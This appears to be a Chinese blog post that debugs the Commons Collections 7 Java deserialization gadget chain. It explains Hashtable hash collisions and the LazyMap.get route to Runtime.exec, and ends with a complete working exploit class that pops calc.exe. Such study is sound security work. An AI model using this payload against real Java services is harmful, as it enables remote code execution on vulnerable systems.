Java反序列化:CommonsCollections7调试分析

Commons Collections 7

基础知识

1.HashTable

散列表,也称为哈希表,以key-value形式进行访问的数据结构

HashTable具有线程安全:多个线程同时访问它时,不会导致数据不一致。

相对于HashMap、ConcurrentHashMap等线程安全性散列表,HashTable比较古老

诸如散列表,常见的类方法:

  • put
  • get
  • remove

Hashtable.put()

函数的大致逻辑为:

检查value是否为空

由于key可能为对象之类的,所以存入散列表的时候需要以其散列值来存(key.hashCode())

然后计算索引值,找到所要put的条目信息应该存在哪张表里(这个结构可以理解为两级页表)

然后迭代器遍历,查找是否有相同散列值的key,有则返回previous value

无则插入新的条目信息,返回空值

整个过程调用了相关函数hashCodeequals

    public synchronized V put(K key, V value) {
        // Make sure the value is not null
        if (value == null) {
            throw new NullPointerException();
        }

        // Makes sure the key is not already in the hashtable.
        Entry<?,?> tab[] = table;
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        @SuppressWarnings("unchecked")
        Entry<K,V> entry = (Entry<K,V>)tab[index];
        for(; entry != null ; entry = entry.next) {
            if ((entry.hash == hash) && entry.key.equals(key)) {
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }

        addEntry(hash, key, value, index);
        return null;
    }

2. AbstractMapDecorator

AbstractMapDecorator 是 Apache Commons Collections(Apache Commons 集合框架)中的一个抽象类,用于实现装饰器模式以扩展或修改 java.util.Map 接口的行为。

本质上是实现Map的接口

3. AbstractMap

给出了equals的一个具体实现

    public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

调试分析

本质上是利用了hash碰撞来触发equals函数,进一步触发了LazyMap.get函数

测试demo

public class HashCodeTest {

    public static void main(String[] args) throws Exception{


        Map testMap1 = new HashMap();
        Map testMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(testMap1,new ChainedTransformer(new Transformer[]{}));
        testMap1.put("yy",1);

        Map lazyMap2 = LazyMap.decorate(testMap2,new ChainedTransformer(new Transformer[]{}));
        testMap2.put("zZ", 1);


        System.out.println(lazyMap1.hashCode());
        System.out.println(lazyMap2.hashCode());
	}
}

image-20230914154742451

Gadget Chain

首先需要经过两次的hashCode,然后从进入如下的调用链

/*
java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
        org.apache.commons.collections.map.AbstractMapDecorator.equals
            java.util.AbstractMap.equals
                org.apache.commons.collections.map.LazyMap.get
                    org.apache.commons.collections.functors.ChainedTransformer.transform
                        org.apache.commons.collections.functors.InvokerTransformer.transform
                            java.lang.reflect.Method.invoke
                            sun.reflect.DelegatingMethodAccessorImpl.invoke
                            sun.reflect.NativeMethodAccessorImpl.invoke
                            sun.reflect.NativeMethodAccessorImpl.invoke0
                            java.lang.Runtime.exec
*/

调试过程

  • 字节数组在经过反序列化形成对象的时候,由于调用put函数,需要调用hashCode

image-20230914152102133

image-20230914152008595

  • 在put中调用了equals函数

image-20230914152214769

  • 然后调用了AbstractMapDecorator.equals

  • 然后调用了AbstractMap.equals,然后调用了LazyMap的get方法触发Runtime类反射调用

image-20230914152720231

EXP

package CC7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import utils.DeSerialization;
import utils.Reflection;
import utils.Serialization;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7EXP {

    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1)
        };

        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy",1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        // 设置字段值
        Reflection.setFieldValue(transformerChain,"iTransformers",transformers);

        lazyMap2.remove("yy");

        // 序列化和反序列化
        byte[] bytecodes = Serialization.serialize(hashtable);

        DeSerialization.deserialize(bytecodes);
    }
}

posted @ 2023-09-14 15:49  Icfh  阅读(16)  评论(0编辑  收藏  举报